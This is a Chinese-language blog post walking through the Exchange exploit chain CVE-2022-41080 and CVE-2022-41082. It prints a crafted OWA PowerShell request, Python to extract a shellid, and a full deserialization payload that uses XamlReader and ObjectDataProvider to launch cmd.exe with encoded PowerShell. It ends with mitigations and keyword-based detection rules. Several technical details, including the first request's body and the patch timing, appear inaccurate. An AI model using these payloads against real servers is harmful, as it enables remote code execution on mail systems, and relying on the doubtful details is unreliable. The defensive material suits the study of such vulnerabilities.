详解CVE-2022-41080&&CVE-2022-41082完整利用链及涉及知识解析

最新推荐文章于 2025-12-05 15:23:55 发布

原创最新推荐文章于 2025-12-05 15:23:55 发布 · 1.1k 阅读

30 ·

CC 4.0 BY-SA版权

文章标签：

#安全 #web安全 #microsoft #python

CVE-2022-41080概述：

微软 Exchange Server 的权限提升漏洞，能在 Outlook Web Application（OWA）端点获得执行 PowerShell 的权限
波及 Microsoft Exchange Server 2013、2016、2019 的多个累积更新版本，比如 2013 CU23、2016 CU22/23、2019 CU11/12 等

实现原理概述：

在Outlook中，可通过低权限的邮箱用户，获取执行PowerShell的权限；

关键点：

PowerShell的执行权限理论上需要更高权限用户才能操作，怎么绕过权限管控来获取此权限？

实现详解：

首先需要了解一个目录：

/owa/邮箱地址/powershell：

这是 Exchange Server 中 OWA 集成 PowerShell 的合法管理端点，仅用于授权场景下的邮件系统运维操作；

一个请求头参数：

X-OWA-ExplicitLogonUser：

这是 OWA 的 显式登录标识头，用于指定 “当前请求以哪个用户身份执行”，仅在授权代操作场景下使用。

这两个结合到请求头中后，可以实现对管理员账户对powershell执行白名单命令的权限；

但这两个点存在几个缺陷：

1、正常逻辑下，URL 中/owa/[邮箱]/powershell的 “邮箱” 需是 “已授权访问 PowerShell 服务” 的账号（如管理员），但 OWA 未校验该邮箱的合法性 —— 即使为m123dsasdx@outlook.com这种不存在的占位符，服务器也会默认 “路径合法”，不会拦截；

2、权限问题：服务器的权限校验只做了 “是否已登录（有合法 Cookie）”，没做 “登录账号是否有权访问 PowerShell 端点”。简单说，它只确认 “你是系统合法用户”，却没检查 “你有没有资格用这个高权限端点”，相当于保安只看你有小区门禁卡（低权限账号登录），就允许你进业主专属的 VIP 会所（PowerShell 端点）。

3、正常情况下，X-OWA-ExplicitLogonUser这个请求头需要与登录账号有 “授权代操作关系”，但实际存在一个缺陷，低权限账号随便填一个邮箱，服务器就默认 “允许以该身份执行请求”，相当于用普通业主的门禁卡，却谎称自己是 VIP，保安没核实就放行；

结合以上三点，就可完成请求头和请求体的构建，完成对权限管控的绕过，如下图：

可参考如下请求代码：

POST /owa/jjjjk%40outlook.com/powershell HTTP/1.1
Host: target-exchange.com  # 目标Exchange服务器地址（替换为真实地址）
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cookie: ASP.NET_SessionId=low123userxyz; msExchEcpCanary=low456canaryabc  # 低权限账号登录后的会话凭证（替换为真实Cookie）
X-OWA-ExplicitLogonUser: owa/jjjjk@outlook.com  # 漏洞触发关键头（随意填写，绕过校验）
Content-Type: text/xml; charset=utf-8
Content-Length: 896  # 需根据请求体实际长度调整

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <InvokeCommand>
      <Command>powershell -enc Base64命令 </Command>  
  </InvokeCommand>
  </soapenv:Body>
</soapenv:Envelope>

powershell命令中使用base64编码是为了绕过基础的安全检测；

此时绕过权限管控之后，虽然我们可以执行powershell命令，但是这个阶段存在严格的命令管控，只能执行白名单里面的命令，如果想进一步操作，那就必须结合CVE-2022-41082；

那CVE-2022-41082的作用是什么？

其实就是绕过白名单命令检测，通过序列化和反序列化数据，完成绕过；

什么是序列化和反序列化：

通俗解释就是：把家具拆成零件（序列化）方便运输，到目的地再按图纸拼回家具（反序列化）。程序里，序列化是把对象转为 XML、字节流等可传输存储的格式，反序列化则是把这些数据还原成程序能识别的对象。而这个漏洞，就是攻击者偷偷改了 “家具零件” 和 “拼装图纸”，让程序拼出了藏着恶意功能的 “危险家具”。

这个漏洞其实利用的缺陷就是：对反序列化后的数据不进行校检，以为在处理常规对象，实际被篡改了反序列化目标，自然没检测出恶意。

那怎么伪造呢？

1、首先和41080的方式一样，使用cookie值来维持登录凭证，41082需要一个会话ID来维系会话，此ID可通过41080获取到的响应体中进行获取；

此ID在响应体的<wsmv:ShellId>下面，示例如下：

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:wsmv="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
  <soap:Header>
    <wsman:MessageID>uuid:11223344-5566-7788-9900-aabbccddeeff</wsman:MessageID>
    <wsman:RelatesTo>uuid:87654321-4321-4321-4321-ba0987654321</wsman:RelatesTo> <!-- 与请求的MessageID对应 -->
  </soap:Header>
  <soap:Body>
    <wsmv:CreateResponse>
      <wsmv:ShellId>abcdef-1234-5678-90ab-cdef12345678</wsmv:ShellId> <!-- 这里就是shellid！ -->
      <wsmv:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</wsmv:ResourceURI>
      <wsmv:OutputStreams>stdout stderr</wsmv:OutputStreams>
    </wsmv:CreateResponse>
  </soap:Body>
</soap:Envelope>

此时再通过 python的xml.etree.ElementTree的进行解析得到shellid，可参考如下示例：

import xml.etree.ElementTree as ET
from xml.etree.ElementTree import QName

# 服务器响应的XML字符串（resp_text）
root = ET.fromstring(resp_text)
# 定位ShellId标签（需指定命名空间wsmv）
shellid = root.find('.//{http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd}ShellId').text
print("提取到的shellid：", shellid)

2、构建请求体中的SOAP的Body中 PowerShell 序列化对象（PSObject）的 XML 格式片段参数：

使用System.ServiceProcess.ServiceController： 作为外层序列化对象，让服务器初步判定为合法数据，不触发拦截

通过 TargetTypeForDeserialization 强制指定反序列化类型为 XamlReader（该类型的 Parse 方法支持解析执行代码）；

<S N="S"> 标签内的 ObjectDataProvider 是关键 —— 它会被 XamlReader.Parse 解析，最终执行 cmd.exe 调用编码后的恶意 PowerShell 指令（解码后为恶意代码）。

参考SOAP代码如下：

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"
               xmlns:wsmv="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
  <soap:Header>
    <wsman:ResourceURI>http://schemas.microsoft.com/powershell/Microsoft.Exchange</wsman:ResourceURI>
    <wsman:Action>http://schemas.xmlsoap.org/ws/2004/09/transfer/Create</wsman:Action>
    <wsman:MessageID>uuid:12345678-1234-1234-1234-1234567890ab</wsman:MessageID>
    <wsmv:OptionSet>
      <wsmv:Option Name="shellid" Value="之前通过41080获取的shellid" /> <!-- 关键：关联41080打通的连接 -->
    </wsmv:OptionSet>
  </soap:Header>
  <soap:Body>
    <wsmv:Create>
      <wsmv:InputStreams>stdin</wsmv:InputStreams>
      <wsmv:OutputStreams>stdout stderr</wsmv:OutputStreams>
      <wsmv:Command>
        <!-- 核心：恶意序列化数据（伪装成合法对象，藏类型混淆和恶意指令） -->
        <Obj xmlns="http://schemas.microsoft.com/powershell/2004/04">
          <TN RefId="0">
            <T>System.ServiceProcess.ServiceController</T> <!-- 伪装壳：常规系统对象，规避拦截 -->
            <T>System.ComponentModel.Component</T>
            <T>System.Object</T>
          </TN>
          <Props>
            <!-- 漏洞关键：篡改反序列化目标类型为XamlReader（能执行代码） -->
            <Obj N="TargetTypeForDeserialization" RefId="1">
              <TN RefId="2">
                <T>System.Type</T>
                <T>System.Object</T>
              </TN>
              <ToString>System.Windows.Markup.XamlReader</ToString> <!-- 指定反序列化类型 -->
              <Props>
                <S N="AssemblyQualifiedName">System.Xaml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</S>
              </Props>
            </Obj>
            <!-- 藏恶意指令：通过ObjectDataProvider让XamlReader执行代码 -->
            <S N="S">
              <![CDATA[
                <ObjectDataProvider xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
                                   xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
                  <ObjectDataProvider.ObjectType>
                    <x:Type TypeName="System.Diagnostics.Process" />
                  </ObjectDataProvider.ObjectType>
                  <ObjectDataProvider.MethodParameters>
                    <x:Array Type="x:String">
                      <x:String>cmd.exe</x:String>
                      <x:String>/c powershell -enc Base64指令 </x:String> <!-- Base64编码的恶意指令 -->
                    </x:Array>
                  </ObjectDataProvider.MethodParameters>
                </ObjectDataProvider>
              ]]>
            </S>
          </Props>
        </Obj>
      </wsmv:Command>
    </wsmv:Create>
  </soap:Body>
</soap:Envelope>

详解下SOAP的参数解析，后续会出单独的文章，请关注；

临时补救措施：

CVE-2022-41080:

配置 OWA 端点访问控制：通过 IIS 服务器拦截 /owa/*/powershell 路径的异常请求，仅放行授权管理员的 IP 和账号。
禁用不必要的 OWA 功能：在 EAC 中关闭普通用户的 OWA PowerShell 集成权限，仅保留管理员组的访问权限。
日志监控：通过 Exchange 日志筛选包含 X-OWA-ExplicitLogonUser 且 URL 含随机邮箱占位符的请求，及时阻断异常访问。

CVE-2022-41082:

拦截恶意序列化特征：通过 WAF（Web 应用防火墙）或 IIS 规则，拦截 XML 请求中含 TargetTypeForDeserialization、System.Windows.Markup.XamlReader、ObjectDataProvider 等关键词的流量（漏洞利用的核心特征）。
限制 PowerShell 接口访问：仅允许内网可信 IP 访问 Exchange 的 /powershell 接口，禁止外网直接访问。
禁用危险 .NET 类型：通过组策略禁用 System.Windows.Markup.XamlReader 等可执行代码的类型在 PowerShell 接口中的调用权限（需谨慎操作，避免影响正常功能）。

正式解决措施：

CVE-2022-41080:

安装微软对应安全补丁：Exchange Server 2013/2016/2019 需安装 KB5019758 补丁（含在 2023 年 1 月累积更新中），补丁会补充两项关键校验：① 校验 OWA 端点 URL 中的邮箱是否为授权账号，拦截任意占位符；② 校验 X-OWA-ExplicitLogonUser 与登录账号的授权关系，禁止无效填写。
启用 Exchange Server 的 “安全默认值”：在 EAC（Exchange 管理中心）开启接口访问控制，限制 PowerShell 端点仅允许高权限账号（管理员 / 运维组）访问。

CVE-2022-41082:

安装同上述 KB5019758 补丁：该补丁为 Exchange 的反序列化逻辑添加 “类型白名单”，仅允许反序列化为预设的安全类型（如常规运维对象），直接阻断 TargetTypeForDeserialization 篡改类型为 XamlReader 的操作。
升级 .NET Framework 版本：将服务器的 .NET Framework 升级至 4.8.1 及以上，补充序列化数据的完整性校验机制。

结语：

以上理论为基于公开漏洞分析、安全社区披露的 POC 逻辑进行总结整理，仅为作者自己的学习思路，仅供参考学习；